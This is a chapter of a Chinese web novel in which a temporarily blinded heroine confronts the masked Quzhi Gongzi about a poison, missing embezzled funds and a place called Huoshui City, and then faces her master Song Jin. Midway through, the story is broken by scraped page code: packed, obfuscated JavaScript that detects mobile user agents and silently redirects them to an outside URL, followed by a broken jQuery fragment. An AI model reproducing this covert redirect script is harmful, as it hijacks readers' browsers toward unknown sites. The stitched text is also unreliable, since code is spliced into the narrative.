48. 戏耍
作品:《手刃仇人前我先当他保镖》 苍仁曲双眼蒙蔽,辨不清方位。只闻曲直公子一声“坐”,脚步声杂沓,三人次第离去,独留她驻足原地,无人问津。
曲直公子遣退左右,回身恰见苍仁曲步履踉跄,几欲撞壁。他一道疾步冲上前,攥住其右臂
臂上一紧,苍仁曲眼睫微颤,蒙眼黑布下隐约闪过幽蓝流光,刺得她眸痒难当,顷刻闭紧,问:“你这屋里,难道全是毒目污?”
“嗯。”曲直公子淡然一诺。
隔着衣料,苍仁曲手臂清晰感知其掌心缠满绷带。
这手伤,确是她所为。可奇的是,宋谨被猫抓伤的地方,与他一模一样。
疑窦丛生,貌似处处违和,又透着说不清的矛盾。
于是,她稀里糊涂问了一句:“你看不见?”
曲直公子:“你觉得呢?”
她恍然,简直多余一问,置身在这毒目污弥漫之地,不盲才怪。她暂且压下一丝不切实际的联想,又问:“你为何待在这满室毒目污的地方?在做何研究?”
曲直公子拉着她往回走,引她落座:“既说了各自相安,怎还对我事事上心?寻我所为何事?”
见他避而不答,苍仁曲暂搁此问,直言:“解药。”
曲直公子:“什么解药?”
苍仁曲也不遮掩,遂将大闹宋谨书房,短暂失明之事如实道出。猎隼伫在一旁的架上,静立如饰,纹丝不动。
曲直公子听其言毕,解释道:“毒目污乃慢毒,并无解药,短期不至失明。”
苍仁曲辩驳道:“你胡说!那晚那只鸟寻来给我的,难道不是解药?”
曲直公子不置可否,道:“那物不过暂纾眼涩,不可轻用,更不宜多用。”
苍仁曲回过神来:“你的意思,这药水能舒缓毒目污之痛,却会让眼睛短暂失明?”
“嗯。”
猎隼一声轻啼,在静谧的对峙之中格外刺耳。
苍仁曲气得跳脚,朝猎隼的方向狠狠“瞪”了一眼,当初怎会鬼迷心窍,被它那层软萌皮相所欺!
“哼,无耻!果真是有其主,必有其鸟!”
猎隼再“吱”一声,声调毫无二致,听在苍仁曲耳中,坦坦荡荡得近乎挑衅,真真令她火上浇油!
她说着便扑上去要抓曲直公子,对方不躲不避,瞧着她对着空处乱抓,语露轻蔑:“药水是你自愿滴的,论卑鄙……你那一脚,踹得我好疼。”
忽然,他扣住她胡乱挥舞的手腕,迫使她指尖碰在他手背上的纱布:“这里,也疼。”
“曲直公子,您莫非是要与我清算这笔账?”
苍仁曲挣着要抽手,曲直公子加足了劲,死活不肯放。
“我又不会吃了你,你一味要逃,使点手段让你心甘情愿回来,好听我把话说清。”
苍仁曲:“其一,我从无听你解释的义务,那一脚算偿了,彼此两清。其次,用这等卑劣的伎俩,知不知道给我造成了多大的困扰?你驭下不严,手下对我施毒目污,你还用毒水诱我失明,凭什么让我过来,听你几句轻飘飘的道歉解释,就能一笔勾销?旁人或许敬你曲直公子,敢怒不敢言,可在我这儿,你没这么大的脸面!”
对方默然不语。
苍仁曲自知人微言轻,也知曲直公子傲慢的脾性,怎会将她的委屈放在眼里?方才的话,不过是仗着一丝孤勇,以微末的尊严与之相抗,不期望他醒悟,只求泄了心头郁气,换一丝畅快,纵使不计后果也无所谓。
许久,曲直公子开口,无半分愠怒,反倒吐露出一丝谨慎:“对你下手的,还有作伪证的两人,我已一并处置了。叫你回来,本是想给你个交代。这几日扰了你清净,是我的不是,若你觉得不够,想要什么补偿,依你。”
苍仁曲摇头,坚定直言:“我寻你,只想要治好我的眼睛。”
曲直公子:“……”
她瞧着这诡异的沉默,莫名慌了神:“难道……无药可救?”
“不是。”曲直公子当即否认,松了她的手腕,坦言道,“药水的副作用,其实到今日就尽了。”
苍仁曲蓦地一怔,反诘道:“这么说,我今日这一趟,算是白来了?”
架上猎隼轻唳一声,代为曲直公子承认,不禁令她气得反笑出声。
曲直公子稍微挪了挪身子,声音离了几分,语气依旧镇定:“算我欠你,凡有事相求,尽管直言。”
苍仁曲气急挪身逼近,怎奈身下凳短,仅侧移一寸,陡然失了支撑摔了下去。曲直公子急忙伸手,扶住她半空扑腾的手。
对方喉间泄出一声极轻的闷笑,几不可闻。她耳朵一热,端正身子,肩膀抖开了他的手。
“曲直公子,你若果真有能耐,就告诉我,容州刺史、边州都护那笔未追缴的贪墨赃款,现下藏于何处?”
曲直公子不问她为何相询,直言道:“那晚你已知晓,那些钱,都用来救治遭毒目污所害之人。”
苍仁曲质疑道:“真当我好糊弄?两州百姓数年税赋,只养数十人的下半辈子,到头来眼疾仍无根治之法。曲直公子,其中若无猫腻,我断难信服。若许刺史果真清白,就拿出铁证。那些钱在谁手中,究竟作何用?”
曲直公子:“嗯,我知道。”
苍仁曲心头一震,下意识睁了眼,又忙合上。可对方话落再无下文,吊着她胃口。她耐着性子学他说话:“嗯,然后呢?”
曲直公子纠结道:“一时半会儿解释不清,我觉得,需你亲眼见证一番,才能道明来龙去脉。”
苍仁曲:“见证什么?”
曲直公子:“活水城。”
“活水城?”苍仁曲心念电转,昔日入门契约之上,“活水城”三个刺目的字眼浮现于眼前,“那到底是什么地方?与我……与许刺史有何关系?”
曲直公子:“从你的视角看,活水城是用他们所斥‘贪墨’之银,养活的一座城。”
养活的一座城……
入门监当初所言犹在耳畔:“……活水城是广厦楼辖下的地界,官府寻常是管不到。”
“活水城在哪里?要怎么去?”
曲直公子:“你该知道,顶着‘姜安曲’的身份去活水城,盲卫对你是何态度,活水城的人对你亦是何种态度。你若要去,我得琢磨个法子……”
“行,不难为你。”苍仁曲道,“但说好了,活水城我非去不可。回去我让阿锦留在此处,你寻到法子,可以让阿锦传信与我。”
曲直公子一愣:“阿锦?”
“我的传信使。”
曲直公子:“……起的什么怪名。”
苍仁曲伸手向他:“我想走了。”
曲直公子自觉倾身扶起她,苍仁曲鼻尖萦绕他身上清冽的沉香,那丝匪夷所思的揣测再度翻涌,不禁问道:“曲直公子,你当真不认得宋谨?”
曲直公子:“不认识。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119091|195760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他缓缓牵着她前行,二人姿态像极了当初她脚伤时,宋谨扶她回去的情景。然而现在的她什么也看不见,凭借直觉说道:“你的气息,你的声音,与他太过相像,难道真的只是巧合?”
“是吗?你在此处认识的人寥寥,抓住一点丝熟悉的气息,就回不自觉想起他。”曲直公子轻描淡写,“亦或是,你本就对他上心,旁人些许相似的细枝末节,能让你瞬间念及他。”
“上心?”苍仁曲哑然失笑,“不错,我对他确实上心。”
“哦?”
“只是这份心,与儿女私情半分无关。我反倒盼着宋谨,盼着宋家任何一人,在外能摘了那层身份,没有宋家的门第,没有府尹的权势罩着他。”
她双手搀紧他的胳膊,语气决绝:“这只手若是他的,我立马断了它。”
曲直公子不为所动:“若真如此,我倒愿是他,好歹有人能拘着你,莫再这般肆无忌惮无法无天。”
苍仁曲:“我不喜欢被人压一头。”
曲直公子:“我不会压你一头。”
苍仁曲:“那也不意味着,我会喜欢你。”
曲直公子没好气道:“……自作多情,真把自己当回事了。”
说罢抽开被她搀着的胳膊,将一盒药膏塞入她掌心:“此膏敷于眼皮,闭眼静歇,可慢慢解去毒目污的余毒。”
苍仁曲踏出门外,身后门轻掩一声。她解下眼布,摩挲着药膏小罐,启盖轻嗅,一股熟悉而遥远的气味,仿佛牵起了童年的某一缕记忆。
未多停留,她上到一楼。
她再次找到了引路人,问:“萧晚乔萧先生,她可在楼中?”
领路人答:“萧先生偶尔来此,平素多在外调研研习,您若有要事,可让传信使通禀楼中,我等代为联系她。”
苍仁曲:“我知道了。”
归至宋府,恰逢正午。
果如曲直公子所言,她的眼睛已然无碍,再无失明之状。
她不仅白跑了一趟,擅自出府的举动,正好被宋谨院里的人瞧了个正着。
宋谨回府后,即刻有侍从前来传话:“阿曲,公子唤你去书房。”
经上次坦白,这几日苍仁曲与宋谨再未独处一室,晨练也暂歇了。
此刻再见宋谨如往常般在书房翻书,这份心照不宣的疏离,让她立在原地有些局促,心底添了几分不自在。
她与宋谨保持着客气的间距,道:“公子,您找我。”
宋谨未抬眼看她:“听说你跑出去了。”
苍仁曲垂首,默不作声。
宋谨:“屡教不改,罚你回屋思过,竟不长教训,看来罚的太轻了。”
苍仁曲满脸恳切:“公子想怎么罚,我都受着。”
宋谨讽笑道:“罚你,用腹罗草为自己烧制一碗粥,亲自喝下去。”
“公子!”苍仁曲急忙告饶,“您我皆知,腹罗草熏染的吃食有剧毒,吃了要疼数日的!”
宋谨指尖叩打着桌面:“轻罚怎知戒惧?不长记性,下次还敢擅自妄为。”
苍仁曲轻步上前,得寸进尺地趴在他对面案上,软声求道:“公子……求您了。”
宋谨吓了一跳,抬手欲推又收,身子往后撤了撤,皱眉羞愤:“姜安曲,你扪心自问,你配以什么身份求我?”
苍仁曲眼尾上翘,漾开几分勾人的柔媚,看得他微怔:“自然以您心上人的身份,向您求饶。”

